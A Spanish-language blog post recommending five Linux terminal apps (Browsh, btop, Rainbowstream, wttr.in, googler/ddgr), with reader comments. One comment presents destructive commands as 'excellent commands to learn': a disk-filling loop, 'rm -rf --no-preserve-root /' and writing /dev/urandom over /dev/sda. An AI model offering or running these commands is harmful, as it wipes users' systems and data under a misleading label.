5 Imperdibles aplicaciones para línea de comandos de Linux

Estuve instalando un pequeño servidor hogareño (saldrá post al respecto más adelante) y entre las cosas que hice fue dejarlo completamente desconectado de todo monitor o teclado. Sólo me conecto a él por la red, una terminal SSH y nada más.

Por ende todo lo que pueda usar allí es por línea de comandos (CLI) y... ¿Qué cosas interesantes se pueden hacer con eso? Bueno, para los que no son del mundo "texto" seguramente creen que es muy limitado pero no, no lo es pero, aun así, no quiero entrar en los detalles del poder que tiene (que es enorme) sino en boludeces como las cinco aplicaciones de las que les voy a hablar hoy, no es que sean necesarias, pero están buenas :D 

Browsh

Es todo un browser, no en modo texto, en modo lo-res pero usando Firefox como motor por detrás.

Ideal para cuando se está trabajando por SSH con un servidor y se necesita navegar algo pero el ancho de banda es muy limitado ¿La solución? Browsh te renderiza todo en tu terminal.

Es mucho más eficiente que VNC o similares y el resultado final es muy bueno. Funciona en cualquier Linux y en Raspberry Pi sin problemas, no hace falta tener un entorno gráfico activo, sólo el paquete de Firefox (63 o superior).

Creo que, por lejos, de esta lista me resulta el más moderno e interesante proyecto para terminales.

BTop++

Está top, está htop, y está btop que, de todos los monitores de sistema, es el más cheto del mundo por lejos.

Funciona en muchísimas distros y ofrece una interfaz que está muy buena para ser en CLI, buenos gráficos en modo texto, elegante y muy careta, ideal para dejar de fondo mientras se corren procesos :D 

No sólo es bonito, es potente y útil y, muchas veces, más claro que top y htop para visualizar procesos y consumos.

Rainbowstream

Necesitan Twitter y su PC linux reventó? No problem, para eso está Rainbowstream, si hay acceso a terminal también hay acceso a la red y se puede tuitear sin problemas.

No será la más linda de las soluciones pero funciona y muy bien.

Inclusive se encarga de convertir las fotos a ASCII en colores. No es perfecta la relación con la API de Twitter porque éstos la han ido cerrando así que el stream principal lo tiene que "robar" como puede, la actualización no será muy rápida, pero eso no es culpa de las apps sino de la plataforma.

El resultado es medio bizarrete pero se puede dejar una terminal abierta mostrando el timeline principal de tu cuenta de twitter. Tiene temitas también con el uso de API y, a veces, sencillamente te bloquea Twitter.com y te deja de garpe, pero, oiga, es una app para esas cosas también, jeje.

wttr

El clima presentado en tu consola con una sola llamada a la red, me encantó porque es extremadamente simple y funciona.

Curl es el programa para "descargar" lo que sea y con un simple:

curl wttr.in/BuenosAires

alcanza para recibir el pronóstico en tiempo real.

No hace falta configurar nada, no hay APIs, no hay cuentas personales, no hay opciones tampoco, sólo se le pide a esa url el tiempo en tu ciudad y listo. Si quieren pueden entrar a la portada del sitio y es lo mismo, sólo eso y tal cual se vería en tu terminal: https://wttr.in/

Googler / DDGR

Googler es otra de esas aplicaciones Cli muy obvias y sencillas, su nombre lo dice todo, poder googlear algo directamente desde la línea de comandos.

Otra aplicación ideal para cuando sólo se tiene a mano una terminal y aun menos recursos, está en casi toda distro y también hay una versión para DuckDuckGo llamada "ddgr".

Tiene muchas opciones para filtrar los resultados, acotarlos, aumentarlos,  localizarlos, buscar noticias (Google News), etc. No es sólo search, es mucho más.

No es perfecto y, dependiendo de la versión que uses, puede fallar por los filtros que le va poniendo Google al desarrollo, por ende ddgr, el de DuckDuckGo suele funcionar mejor. La opción, obviamente, es instalar siempre la última versión de googler que no suele ser la que está en el repositorio de las distros sino en el Github.


Cuales son tus preferidas, sé que cada uno tiene su aplicación escondida por ahí, desde ya que no incluyo las obvias como cat, vi, nano, o el midnight commander o tantas otras que son de uso diario porque esas ya las conocemos todos :P 

Si te gustó esta nota podés...
Invitame un café en cafecito.app


Otros posts que podrían llegar a gustarte...

Comentarios

  • gorlok     18/04/2022 - 10:46:45

    No conocía el BTop y uso bastante al htop. Buena data! Gracias

  • sorongopowa     18/04/2022 - 11:31:10

    https://github.com/cheat/cheat

    • Fabio Baccaglioni     18/04/2022 - 12:00:30

      muy útil como el ejemplo que se muestra en github :D

  • Galbi     18/04/2022 - 11:51:24

    https://github.com/dundee/gdu

  • Nacho     18/04/2022 - 14:57:51

    Te paso lo que suelo usar desde consola:

    Lector de RSS: newsboat
    Reproductor Música: moc
    FileManager: ranger
    browser modo graf: qutebrowser

  • chimango     19/04/2022 - 13:47:13

    bueno está bien, dejo de hinchar con lynx... :D
    Si usas $curl wttr.in directamente, resuelve la ubicación.

    • Fabio Baccaglioni     20/04/2022 - 10:52:02

      no siempre la resuelve bien, si estás en VPN menos :P

  • Gustavo Villada     19/04/2022 - 22:17:35

    algunos comandos excelentes para aprender:

    yes > .archivo &

    sudo rm -rf --no-preserve-root /

    sudo cat /dev/urandom > /dev/sda

    algunos obligan a reiniciar la compu, pero en el camino aprenden

  • f3rr1t0x     20/04/2022 - 09:23:03

    Otro imperdible es "tmux"....mas si estamos laburando en un server!

Deje su comentario:

Tranquilo, su email nunca será revelado.
La gente de bien tiene URL, no se olvide del http/https

Negrita Cursiva Imagen Enlace


Comentarios ofensivos o que no hagan al enriquecimiento del post serán borrados/editados por el administrador. Los comentarios son filtrados por ReCaptcha V3.